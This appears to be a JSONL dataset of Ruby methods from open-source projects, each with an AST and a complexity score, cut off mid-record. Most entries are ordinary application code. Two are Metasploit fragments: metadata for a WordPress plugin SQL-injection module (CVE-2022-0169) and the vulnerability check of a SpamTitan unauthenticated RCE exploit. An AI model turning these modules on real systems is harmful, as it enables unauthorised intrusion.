{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/line_end_concatenation.rb","start_line":130,"raw_source":"def standard_string_literal?(token)\n          case token.type\n          when SIMPLE_STRING_TOKEN_TYPE\n            true\n          when COMPLEX_STRING_BEGIN_TOKEN, COMPLEX_STRING_END_TOKEN\n            QUOTE_DELIMITERS.include?(token.text)\n          else\n            false\n          end\n        end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"standard_string_literal?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"token\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"type\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SIMPLE_STRING_TOKEN_TYPE\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"COMPLEX_STRING_BEGIN_TOKEN\"]},{\"type\":\"const\",\"children\":[null,\"COMPLEX_STRING_END_TOKEN\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"QUOTE_DELIMITERS\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"text\"]}]}]},{\"type\":\"false\",\"children\":[]}]}]}","id":"e03b5176-d6c1-4bd5-a29d-bb852935b4ef"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/favourites_controller.rb","start_line":46,"raw_source":"def records_continue?\n    results.size == limit_param(DEFAULT_STATUSES_LIMIT)\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"records_continue?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"results\"]},\"size\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"limit_param\",{\"type\":\"const\",\"children\":[null,\"DEFAULT_STATUSES_LIMIT\"]}]}]}]}","id":"b2c84daf-6066-4383-884e-496a23839064"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/import/prepare_service.rb","start_line":19,"raw_source":"def enqueue_import(upload)\n      worker.perform_async(current_user.id, project.id, upload.id)\n    end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"enqueue_import\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"upload\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"worker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},\"id\"]}]}]}","id":"12e18010-2748-4fde-a38f-2cfb9d3fe16b"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/flags/reorder_flag.rb","start_line":34,"raw_source":"def fetch_all_flags\n    Flag.where.not(name_key: \"notify_user\").order(:position).to_a\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_all_flags\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Flag\"]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name_key\"]},{\"type\":\"str\",\"children\":[\"notify_user\"]}]}]}]},\"order\",{\"type\":\"sym\",\"children\":[\"position\"]}]},\"to_a\"]}]}","id":"dc795c87-b286-4746-9348-54400eccb86b"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/assigned_server_role.rb","start_line":73,"raw_source":"def deactivate_in_region(override = false)\n    return unless server_role.role_scope == 'region'\n\n    if override || active?\n      MiqRegion.my_region.lock do\n        deactivate(override)\n      end\n    end\n  end","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"deactivate_in_region\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"override\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"server_role\"]},\"role_scope\"]},\"==\",{\"type\":\"str\",\"children\":[\"region\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"override\"]},{\"type\":\"send\",\"children\":[null,\"active?\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqRegion\"]},\"my_region\"]},\"lock\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"deactivate\",{\"type\":\"lvar\",\"children\":[\"override\"]}]}]},null]}]}]}","id":"745aa81d-256e-4191-8bf8-7c2b858de99c"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/verify_pod_keys.rb","start_line":31,"raw_source":"def self.value(key, target)\n        value = `pod keys get #{key} #{target}`\n        value.split(\"]\").last.strip\n      end","complexity_score":4.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"value\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"target\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"xstr\",\"children\":[{\"type\":\"str\",\"children\":[\"pod keys get \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"split\",{\"type\":\"str\",\"children\":[\"]\"]}]},\"last\"]},\"strip\"]}]}]}","id":"54a8294b-4a82-4a33-b168-0c7eab7f83d3"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/site_setting_extension.rb","start_line":496,"raw_source":"def process_id\n    @process_id ||= SecureRandom.uuid\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"process_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@process_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"uuid\"]}]}]}","id":"60075f0e-c916-4094-a419-18d86e05d5ef"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/pages/work_packages/abstract_work_package.rb","start_line":52,"raw_source":"def visit_tab!(tab)\n      visit path(tab)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"visit_tab!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tab\"]}]},{\"type\":\"send\",\"children\":[null,\"visit\",{\"type\":\"send\",\"children\":[null,\"path\",{\"type\":\"lvar\",\"children\":[\"tab\"]}]}]}]}","id":"c24e3035-2e30-4a80-a995-c632f022be20"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/avoid_return_from_blocks.rb","start_line":28,"raw_source":"def on_block(node)\n        block_body = node.body\n\n        return unless block_body\n        return unless top_block?(node)\n\n        block_body.each_node(:return) do |return_node|\n          next if parent_blocks(node, return_node).all? { |block_node| allowlisted?(block_node) }\n\n          add_offense(return_node)\n        end\n      end","complexity_score":14.5,"ast_json":"{\"type\":\"def\",\"children\":[\"on_block\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"block_body\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"body\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block_body\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"top_block?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block_body\"]},\"each_node\",{\"type\":\"sym\",\"children\":[\"return\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"return_node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parent_blocks\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"lvar\",\"children\":[\"return_node\"]}]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"block_node\"]}]},{\"type\":\"send\",\"children\":[null,\"allowlisted?\",{\"type\":\"lvar\",\"children\":[\"block_node\"]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"return_node\"]}]}]}]}]}]}","id":"bbaa6641-8817-4f5c-a290-aec820ca5e29"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/wp_photo_gallery_sqli.rb","start_line":13,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'WordPress Photo Gallery Plugin SQL Injection (CVE-2022-0169)',\n        'Description' => %q{\n          The Photo Gallery by 10Web WordPress plugin <= 1.6.0 is vulnerable to\n          unauthenticated SQL injection via the 'bwg_tag_id_bwg_thumbnails_0[]'\n          parameter in admin-ajax.php (action=bwg_frontend_data).\n        },\n        'Author' => [\n          'Krzysztof Zając',    # Discovery\n          'Valentin Lobstein',  # Metasploit module\n          'X3RX3S'              # Help\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          ['CVE', '2022-0169'],\n          ['WPVDB', '0b4d870f-eab8-4544-91f8-9c5f0538709c'],\n          ['URL', 'https://github.com/X3RX3SSec/CVE-2022-0169']\n        ],\n        'DefaultOptions' => {\n          'VERBOSE' => true,\n          'COUNT' => 5\n        },\n        'DisclosureDate' => '2022-03-14',\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [IOC_IN_LOGS],\n          'Reliability' => []\n        }\n      )\n    )\n\n    register_options([\n      OptString.new('TARGETURI', [true, 'Base path to WordPress', '/']),\n      Opt::RPORT(80)\n    ])\n  end","complexity_score":7.05,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"WordPress Photo Gallery Plugin SQL Injection (CVE-2022-0169)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          The Photo Gallery by 10Web WordPress plugin <= 1.6.0 is vulnerable to\\n\"]},{\"type\":\"str\",\"children\":[\"          unauthenticated SQL injection via the 'bwg_tag_id_bwg_thumbnails_0[]'\\n\"]},{\"type\":\"str\",\"children\":[\"          parameter in admin-ajax.php (action=bwg_frontend_data).\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Krzysztof Zając\"]},{\"type\":\"str\",\"children\":[\"Valentin Lobstein\"]},{\"type\":\"str\",\"children\":[\"X3RX3S\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2022-0169\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"WPVDB\"]},{\"type\":\"str\",\"children\":[\"0b4d870f-eab8-4544-91f8-9c5f0538709c\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/X3RX3SSec/CVE-2022-0169\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"VERBOSE\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"COUNT\"]},{\"type\":\"int\",\"children\":[5]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2022-03-14\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Base path to WordPress\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[80]}]}]}]}]}]}","id":"2f6ee856-0a3a-4ef7-857f-7ac24eeaba8a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/project/show.rb","start_line":164,"raw_source":"def switch_to_branch(branch_name)\n          within_element('ref-dropdown-container') do\n            expand_select_list\n            select_item(branch_name)\n          end\n        end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"switch_to_branch\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"branch_name\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within_element\",{\"type\":\"str\",\"children\":[\"ref-dropdown-container\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expand_select_list\"]},{\"type\":\"send\",\"children\":[null,\"select_item\",{\"type\":\"lvar\",\"children\":[\"branch_name\"]}]}]}]}]}","id":"fd8d43c1-5a63-4ecc-9f03-3f412d045b88"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/work_packages/progress_controller.rb","start_line":195,"raw_source":"def set_progress_attributes_to_work_package\n    WorkPackages::SetAttributesService\n      .new(user: current_user,\n           model: @work_package,\n           contract_class:)\n      .call(work_package_progress_params)\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"set_progress_attributes_to_work_package\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackages\"]},\"SetAttributesService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"ivar\",\"children\":[\"@work_package\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"contract_class\"]},{\"type\":\"send\",\"children\":[null,\"contract_class\"]}]}]}]},\"call\",{\"type\":\"send\",\"children\":[null,\"work_package_progress_params\"]}]}]}","id":"d598e6d1-cb02-475b-a5ba-3d81d056016d"}
{"repo_name":"puma","file_path":"./repos/puma/lib/puma/client.rb","start_line":542,"raw_source":"def read_chunked_body\n      while true\n        begin\n          chunk = @io.read_nonblock(CHUNK_SIZE, @read_buffer)\n        rescue IO::WaitReadable\n          return false\n        rescue SystemCallError, IOError\n          raise ConnectionError, \"Connection error detected during read\"\n        end\n\n        # No chunk means a closed socket\n        unless chunk\n          @body.close\n          @buffer = nil\n          set_ready\n          raise EOFError\n        end\n\n        if decode_chunk(chunk)\n          @env[CONTENT_LENGTH] = @chunked_content_length.to_s\n          return true\n        end\n      end\n    end","complexity_score":18.1,"ast_json":"{\"type\":\"def\",\"children\":[\"read_chunked_body\",{\"type\":\"args\",\"children\":[]},{\"type\":\"while\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"chunk\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@io\"]},\"read_nonblock\",{\"type\":\"const\",\"children\":[null,\"CHUNK_SIZE\"]},{\"type\":\"ivar\",\"children\":[\"@read_buffer\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IO\"]},\"WaitReadable\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SystemCallError\"]},{\"type\":\"const\",\"children\":[null,\"IOError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ConnectionError\"]},{\"type\":\"str\",\"children\":[\"Connection error detected during read\"]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@body\"]},\"close\"]},{\"type\":\"ivasgn\",\"children\":[\"@buffer\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"set_ready\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"EOFError\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"decode_chunk\",{\"type\":\"lvar\",\"children\":[\"chunk\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@env\"]},\"[]=\",{\"type\":\"const\",\"children\":[null,\"CONTENT_LENGTH\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@chunked_content_length\"]},\"to_s\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},null]}]}]}]}","id":"072d9efc-cdc2-4be0-a0dc-0db588e9ac46"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/lib/chat/notifier.rb","start_line":337,"raw_source":"def publish_too_many_members_in_group_mention(groups)\n      Chat::Publisher.publish_notice(\n        user_id: @user.id,\n        channel_id: @chat_channel.id,\n        text_content:\n          mention_warning_text(\n            single: \"chat.mention_warning.too_many_members\",\n            multiple: \"chat.mention_warning.too_many_members_multiple\",\n            first_identifier: groups.first.name,\n            count: groups.count,\n          ),\n      )\n    end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"publish_too_many_members_in_group_mention\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"groups\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"Publisher\"]},\"publish_notice\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"channel_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@chat_channel\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text_content\"]},{\"type\":\"send\",\"children\":[null,\"mention_warning_text\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"single\"]},{\"type\":\"str\",\"children\":[\"chat.mention_warning.too_many_members\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"multiple\"]},{\"type\":\"str\",\"children\":[\"chat.mention_warning.too_many_members_multiple\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"first_identifier\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"groups\"]},\"first\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"groups\"]},\"count\"]}]}]}]}]}]}]}]}","id":"f81024b9-c53b-40e3-9e30-1ccde06fccb2"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/storage.rb","start_line":474,"raw_source":"def unmanaged_files_collection(collection_type, vms = nil)\n    match_paths = unmanaged_paths(vms)\n    send(collection_type).select { |f| match_paths.include?(File.dirname(f.name)) }\n  end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"unmanaged_files_collection\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"collection_type\"]},{\"type\":\"optarg\",\"children\":[\"vms\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"match_paths\",{\"type\":\"send\",\"children\":[null,\"unmanaged_paths\",{\"type\":\"lvar\",\"children\":[\"vms\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send\",{\"type\":\"lvar\",\"children\":[\"collection_type\"]}]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match_paths\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"dirname\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"name\"]}]}]}]}]}]}","id":"8b571f0f-3c9d-4c36-a2ac-481b3bbceb3c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/gitaly_client/gitaly_context.rb","start_line":34,"raw_source":"def with_context(**context)\n        if context <= current_context\n          # no new context added\n          yield\n        else\n          @stack << current_context.merge(context).freeze\n\n          begin\n            yield\n          ensure\n            @stack.pop\n          end\n        end\n      end","complexity_score":12.7,"ast_json":"{\"type\":\"def\",\"children\":[\"with_context\",{\"type\":\"args\",\"children\":[{\"type\":\"kwrestarg\",\"children\":[\"context\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"<=\",{\"type\":\"send\",\"children\":[null,\"current_context\"]}]},{\"type\":\"yield\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@stack\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_context\"]},\"merge\",{\"type\":\"lvar\",\"children\":[\"context\"]}]},\"freeze\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"ensure\",\"children\":[{\"type\":\"yield\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@stack\"]},\"pop\"]}]}]}]}]}]}","id":"0a17a9d1-526e-48bc-b9b4-ca1f0f0f5e87"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/work_package/pdf_export/wp/attributes.rb","start_line":136,"raw_source":"def attributes_to_column_entries(list, work_package)\n    list.map do |form_key|\n      form_key_to_column_entries(form_key.to_sym, work_package)\n    end.flatten\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"attributes_to_column_entries\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"list\"]},{\"type\":\"arg\",\"children\":[\"work_package\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"form_key\"]}]},{\"type\":\"send\",\"children\":[null,\"form_key_to_column_entries\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"form_key\"]},\"to_sym\"]},{\"type\":\"lvar\",\"children\":[\"work_package\"]}]}]},\"flatten\"]}]}","id":"75b8a3e6-7850-4918-9138-102b2b40be6a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/freebsd/webapp/spamtitan_unauth_rce.rb","start_line":147,"raw_source":"def check\n    snmp_x_uri = normalize_uri(target_uri.path, 'snmp-x.php')\n    vprint_status(\"Check if #{snmp_x_uri} exists\")\n    res = send_request_cgi(\n      'uri' => snmp_x_uri,\n      'method' => 'GET'\n    )\n\n    if res.nil?\n      return Exploit::CheckCode::Unknown.new(\n        \"Could not connect to SpamTitan vulnerable page (#{snmp_x_uri}) - no response\"\n      )\n    end\n\n    if res.code == 302\n      vprint_status(\n        'This version of SpamTitan requires authentication. Trying with the '\\\n        'provided credentials.'\n      )\n      res = send_request_cgi(\n        'uri' => '/index.php',\n        'method' => 'POST',\n        'vars_post' => {\n          'jaction' => 'none',\n          'language' => 'en_US',\n          'address' => datastore['USERNAME'],\n          'passwd' => datastore['PASSWORD']\n        }\n      )\n      if res.nil?\n        return Exploit::CheckCode::Safe.new('Unable to authenticate - no response')\n      end\n\n      if res.code == 200 && res.body =~ /Invalid username or password/\n        return Exploit::CheckCode::Safe.new(\n          'Unable to authenticate - Invalid username or password'\n        )\n      end\n      unless res.code == 302\n        return Exploit::CheckCode::Unknown.new(\n          \"Unable to authenticate - Unexpected HTTP response code: #{res.code}\"\n        )\n      end\n\n      # For whatever reason, the web application sometimes returns multiple\n      # PHPSESSID cookies and only the last one is valid. So, make sure only\n      # the valid one is part of the cookie_jar.\n      cookies = res.get_cookies.split(' ')\n      php_session = cookies.select { |cookie| cookie.starts_with?('PHPSESSID=') }.last\n      cookie_jar.clear\n      cookie_jar.add(php_session)\n      remaining_cookies = cookies.delete_if { |cookie| cookie.starts_with?('PHPSESSID=') }\n      cookie_jar.merge(remaining_cookies)\n\n      res = send_request_cgi(\n        'uri' => snmp_x_uri,\n        'method' => 'GET'\n      )\n    end\n\n    unless res.code == 200\n      return Exploit::CheckCode::Safe.new(\n        \"Could not connect to SpamTitan vulnerable page (#{snmp_x_uri}) - \"\\\n        \"unexpected HTTP response code: #{res.code}\"\n      )\n    end\n\n    Exploit::CheckCode::Appears\n  rescue ::Rex::ConnectionError => e\n    vprint_error(\"Connection error: #{e}\")\n    return Exploit::CheckCode::Unknown.new(\n      \"Could not connect to SpamTitan vulnerable page (#{snmp_x_uri})\"\n    )\n  end","complexity_score":90.43,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"snmp_x_uri\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"snmp-x.php\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Check if 